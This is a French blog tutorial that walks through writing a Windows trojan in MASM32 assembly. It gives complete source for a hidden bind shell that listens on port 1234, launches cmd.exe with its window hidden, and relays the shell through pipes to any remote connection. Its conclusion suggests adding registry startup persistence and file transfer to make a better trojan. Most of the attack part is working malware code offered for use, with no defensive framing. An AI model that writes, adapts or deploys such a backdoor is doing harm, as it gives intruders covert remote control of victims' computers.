Post Populaire



I\ Introduction
Salut tout le monde, aujoud'hui je vous propose de coder quelque chose de pas commun, c'est à dire... (***Roulements de tambours***) un (***Roulements de tambours***) TROJAN ! Merde, vous le saviez ? Ha oui, c'est écrit en gros au dessus...
Voila, tout d'abord une petite définition d'un trojan car il y a parfois méprise :

















Trojan  = Troyen = Cheval de Troie = Socket de Troie
Un Trojan n'est pas un virus ! Un virus se copie dans un autre programme pour s'executer, alors que le trojan est certes tout aussi discret, mais il doit être executé par la victime. Cependant, certains anti-virus détectent les trojans (et mettent un énorme panneaux rouge hideux d'ailleurs) Ensuite, son but n'est pas de se reproduire, ni d'infecter quoi que ce soit, mais de rester toujours actif, et de se relancer à chaque démarrage. Il permet à n'importe qui de se connecter à un hôte infecté, et d'executer à peu près n'importe quoi.
Voila pour la théorie.
Examinont maintenant le problème plus concrètement. On va faire un Trojan qui balance un shell dos quand on se connecte sur son port. On le code en Assembleur pour que le programme soit le plus petit possible. Let's go !!!

II\ La Théorie
Commençons par établir ce que devra faire notre programme :
La partie "socket"
On va procéder comme suit :
On initialise le système de socket (hé oui, on est sous Windows :)

WSAStartup
On remplit une structure sockaddr_in
Création d'un socket

socket
On le lie
bind
On le met en écoute
listen
On attend une connexion
accept
Voila, la partie socket est pas compliquée du tout, on verra tout ça dans la partie 3La partie "shell"
Là, c'est moins évident. Je résume le problème, on doit faire en sorte que le Trojan balance un shell sur un port donné. (On va prendre 1234 pour l'exemple au fait).
Il faut donc qu'on lance un "command.com" pour windows9x et un "cmd.exe" pour Windows NT
Ca, c'est simple grâce à l'API "CreateProcess", qui va nous permettre d'executer le programme.
Oui, d'accord mais comment faire pour que ce que "cmd.exe" écrit dans la console arrive jusqu'à notre ordinateur distant ? De même, on va devoir envoyer des données reçues du socket vers "cmd.exe" ?
Pour pouvoir faire tout ça, on va utiliser les pipes (prononcer païpe, s'il vous plait, un peu de tenue)
"pipe" késako ? Et bien c'est très simple, je vais expliquer tout ça :
Un programme a trois flux d'entrée/sortie, à savoir STDIN en entrée (ou le programme recoit ses données), STDOUT (ou le programme envoie des données) et STDERR (ou le programme envoie les messages d'erreurs). Quand on lance "cmd.exe", son flux STDIN correspond à notre clavier, STDOUT et STDERR à l'écran de l'odinateur local. Fort bien. Et bien grâce aux pipes on va pouvoir choisir, ou le programme enverra ses données, ses erreurs, et ou il recevra ses données. En fait on va rediriger les 3 flux du programme vers le notre, ce qui nous permettra de lui envoyer ce qu'on veut, et de recevoir les données qu'il devrait normalement imprimer à l'écran. On créé un pipe avec la fonction "CreatePipe" (tiens donc ;).
Un pipe, c'est un tunnel ou passent les donnée en gros ;)
Je vous fait un dessin :

read_1, read_2, write_1, et write_2, sont des variables du type HANDLE, que l'on reçoit de la fonction "CreatePipe", les pointillés représentent le tunnel magique de obscurer le magicien

 


Le principe est le suivant : lorsqu'on écrit des données dans write_1, elles ressortent par read_1
De même, quand quelque chose est écrit dans le handle write_2, les données dont lisibles par le handle read_2.
L'interet est le suivant : On va lancer "cmd.exe" avec :
comme flux STDOUT et STDERR le même handle write_1
comme flux STDIN le Handle read_2
on pourra donc lire ce que "cmd.exe" envoi en lisant le handle read_1, et on pourra envoyer ce qu'on veut à "cmd.exe" en envoyant les données dans write_2. C'est tout simple à coder.

On va donc :
-Créer 2 pipes
-Lancer "cmd.exe" avec les flux I/O modifiés
-Rediriger les données de read_1 vers la connexion pour que l'utilisateur connecté voit ce qu'il fait
-Rediriger les données que l'utilisateur envoi vers write_2 pour que ce qu'écrive l'utilisateur puisse être executé

Maintenant, on inspire un grand coup, et on souffle rapidement.
mfffffffff.........pfffffffiiiiou.
C'est parti pour la dernière ligne droite, even if there's no finish line...
 




III\ La Pratique
Pour suivre la pratique, vous aurez besoin de :
o Un compilateur Assembleur 32-bits  (Masm32, ou Tasm32)
o Heu... Je crois que c'est tout
Je vous le dit tout de suite j'ai codé ça sous Windows NT 4 avec Masm32 donc vous me mailer si un truc marche pas (je suis naïf, je crois que qqun en a qqchose à foutre de mes articles :)
Si vous n'avez aucune notion d'assembleur, aller lire quelque tuts ou articles.
Pour avoir quelque notions d'assembleurs 32-bits lisez IGA-10, il y a un article  sur ça si je me souviens bien... Vous pigerez les bases.
C'est parti, je balance le code, et je commente



------------------------------------------------------------------ CUT HERE --------------------------------------------------------------------- 
.386
.model flat, stdcall

include \masm32\include\windows.inc  ; Contient toute les significations des Flags
includelib \masm32\lib\kernel32.lib  ; Pour quasiment toutes les APIS dont on a besoin
include \masm32\include\kernel32.inc

includelib \masm32\lib\Wsock32.lib   ; Les fonctions pour les sockets
include \masm32\include\wsock32.inc
 

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD ; Notre fonction principale
.data
 hInstance       dd 0                            ; pour la forme :)
 cmd             db "\winnt\system32\cmd.exe",0  ; je vous fait pas de dessin

.code
start:
        invoke GetModuleHandle, NULL             ; On démarre le prog
        mov hInstance, eax

        invoke WinMain,hInstance,NULL,NULL,NULL  ; la fonction ! la fonction !
        invoke ExitProcess,NULL
 

WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
 

LOCAL sin          :sockaddr_in        ;Structure sockaddr_in pour le socket
LOCAL wsaData      :WSADATA            ;Structure pour WSA*
LOCAL sock         :UINT               ;Le socket d'attente
LOCAL socka        :UINT               ;Le socket accepté (client)
LOCAL output       :DWORD              ;buffer pour envoyer
LOCAL input        :DWORD              ;buffer pour recevoir

LOCAL info         :PROCESS_INFORMATION  ;sortie de "CreateProcess"
LOCAL starti       :STARTUPINFO          ;Paramètres pour "CreateProcess"
LOCAL secu         :SECURITY_ATTRIBUTES  ;idem
LOCAL read_1       :HANDLE             ;Handles pour les pipes
LOCAL write_1      :HANDLE
LOCAL read_2       :HANDLE
LOCAL write_2      :HANDLE
LOCAL byte_read    :DWORD             ;Pour WriteFile et ReadFile
LOCAL byte_toread  :DWORD             ;Pour PeekNamedPipe
 

; Alloue un peu de mémoire pour les buffers (pas trop quand même :)
 invoke GlobalAlloc,GPTR,32000
 mov output,eax      ; on met l'adresse de la mémoire allouées dans output
 .if eax == NULL     ; vérifie si on a bien de la méoire pour pas faire n'importe quoi
 ret
 .endif

 invoke GlobalAlloc,GPTR,32000
 mov input,eax
 .if eax == NULL
 ret
 .endif

; Initialize le systeme de socket version 2.2 (sacré windows)
 xor ebx,ebx
 mov bx,2                           ; On met 2 dans bl
 shl bx,8                           ; on bouge le 2
 or bx, 2                           ; on met l'autre 2
 invoke WSAStartup,ebx,ADDR wsaData ; GO

; On vérifie si il y a eu un problème quelconque
 .if eax != NULL
 ret                 ; Si oui on ret (Non, pas de message d'erreur =)
 .endif

; On remplit gaiment la structure sockaddr_in
 mov sin.sin_family,AF_INET  ; famille du socket
 mov sin.sin_addr,NULL     ; on ne connait pas l'adresse du client
 mov sin.sin_port,0D204h   ; in network byte order = port 1234
 

;    NETWORK BYTE ORDER
;      1234 en decimal
;      04D2 en hex
;      D204 en network byte oder (inversez les deux bytes tout simplement)

; (N.B: oubliez pas qu'il faut mettre un 0 devant un chiffre en Hexa qui commence avc une ;lettre)
 

; On créé un socket
 invoke socket,AF_INET,SOCK_STREAM,NULL
 mov sock,eax    ; on sauve le handle pour le socket

; Petite vérification
 .if eax == INVALID_SOCKET
 ret
 .endif

; bind le socket
 invoke bind,sock,ADDR sin,SIZEOF sockaddr_in
 .if eax == SOCKET_ERROR
 ret
 .endif

; le met en écoute
 invoke listen,sock,1
 .if eax == SOCKET_ERROR
 ret
 .endif

; Attend une connexion indéfiniment
 invoke accept,sock,NULL,NULL
 .if eax == INVALID_SOCKET
 ret
 .endif

mov socka,eax    ; on sauve le handle du socket qui est accepté
; Ok, qqun s'est connecté !
invoke RtlZeroMemory,ADDR secu,SIZEOF SECURITY_ATTRIBUTES ; met à zéro la structure
mov secu.niLength,SIZEOF SECURITY_ATTRIBUTES             ; on met la taille de la structure
mov secu.bInheritHandle,TRUE                             ; handles héritables

 invoke CreatePipe,ADDR read_1,ADDR write_1,ADDR secu,32000 ; création des pipes
 .if eax == NULL
 jmp die
 .endif
 invoke CreatePipe,ADDR read_2,ADDR write_2,ADDR secu,32000
 .if eax == NULL
 jmp die
 .endif

; read_1 correspond à write_1
; read_2 correspond à write_2
; je vais bien, tout va bien :)

invoke RtlZeroMemory,ADDR starti,SIZEOF STARTUPINFO    ; on vide starti (simple précaution)
invoke GetStartupInfo,ADDR starti                    ; on choppe les paramètres
mov starti.cb,SIZEOF STARTUPINFO  ; taille de la structure
mov eax,write_1                   ; on met hStdError et hStdOutput sur write_1
mov starti.hStdError,eax          ; pour le process créé après, STDERR=STDOUT=write_1
mov starti.hStdOutput,eax         ; qui correspond à read_1

mov eax,read_2                  ; idem pour read_2
mov starti.hStdInput,eax        ; STDIN de "cmd" correspondra à read_2

mov starti.dwFlags,STARTF_USESTDHANDLES+STARTF_USESHOWWINDOW ;On prend en compte les
                                                           ;changements des fluxs standard
mov starti.wShowWindow,SW_HIDE  ; Tant qu'à faire, on cache la fenêtre de "cmd" ;))

 invoke CreateProcess,          ; CreateProcess (enfin)
   ADDR cmd,  ; adresse de "cmd.exe"
   NULL,      ; pas de params pour cmd
   ADDR secu, ; security attributes
   ADDR secu,
   TRUE,    ; Handle inheritable
   NULL,
   NULL,
   NULL,
   ADDR starti, ; STARTUPINFO   (fenêtre et STD*)
   ADDR info   ; Structure de sortie (handle du process, mais on s'en tappe)

 .if eax == NULL  ; on vérifie si la fenêtre est créée
 jmp die        ; sinon crêve
 .endif

invoke CloseHandle,read_2   ; on peut fermer 2 handles désormais inutiles
invoke CloseHandle,write_1

up:
;PeekNamedPipe sert à determiner si il y a quelque chose à lire sur un pipe
 invoke PeekNamedPipe,read_1,NULL,NULL,NULL,ADDR byte_toread,NULL

 .if byte_toread == NULL   ; rien à lire sur read_1, cmd ne dit rien, on va donc voir
 jmp get_text              ; si l'utilisateur distant a tapé qqchose
 .endif

 invoke RtlZeroMemory,ADDR output,SIZEOF output   ; on sait jamais
 invoke ReadFile,read_1,ADDR output,SIZEOF output,ADDR byte_read,NULL  ; on lit ce que cmd dit
 invoke send,socka,ADDR output,byte_read,NULL   ; on l'envoi sur la connexion
 jmp up
 

get_text:
 invoke RtlZeroMemory,ADDR input,SIZEOF input     ; par précaution
 invoke recv,socka,ADDR input,SIZEOF input,NULL   ; on recoit les données de l'intru
 mov ebx,eax    ; eax contient le nombre d'octets lus, on sauve ça dans ebx

 invoke WriteFile,write_2,ADDR input,ebx,ADDR byte_read,NULL ; On envoi la chaine à cmd
jmp up
 

die:   ; On ferme les sockets et on ret
 invoke closesocket,sock
 invoke closesocket,socka
 ret
 

WinMain endp
end start


------------------------------------------------- CUT HERE -----------------------------------------------------
Voila pour le code !


IV\ Conclusion
Ouf, voila :)
Bien sur, ce programme est pas le must en matière de Trojan.
Il resterai à faire une routine avec GetSystemDirectory ou un truc du genre pour déterminer si on est sous NT ou win 9x (cmd.exe ou command.com ?) De même pour faire un bon trojan on doit pouvoir downloader, uploader des fichiers, mais on peut toujours les copiers de l'interieur sur un repertoire accessible en FTP anonyme par exemple, enfin c'est pas le mieux.
Il faudrait ne pas fermer le programme après une seule connexion. Avec les fonctions RegOpenKey etc... on pourrais faire en sorte que le programme se lance automatiquement au démarrage en ajoutant une clé dans Démarrage, ou un truc comme ça.
On peut aussi filtrer ce que l'utilisateur distant tappe, afin de determiner des commandes, pour créé des clés dans la base de registre, ou pour uploader des fichiers, ou même pour envoyer des MessageBox à l'utilisateur local :) J'imagine que vous avez assez d'imagination alors.........

- sebdelkil 2009-2015 - Aucun droit réservé -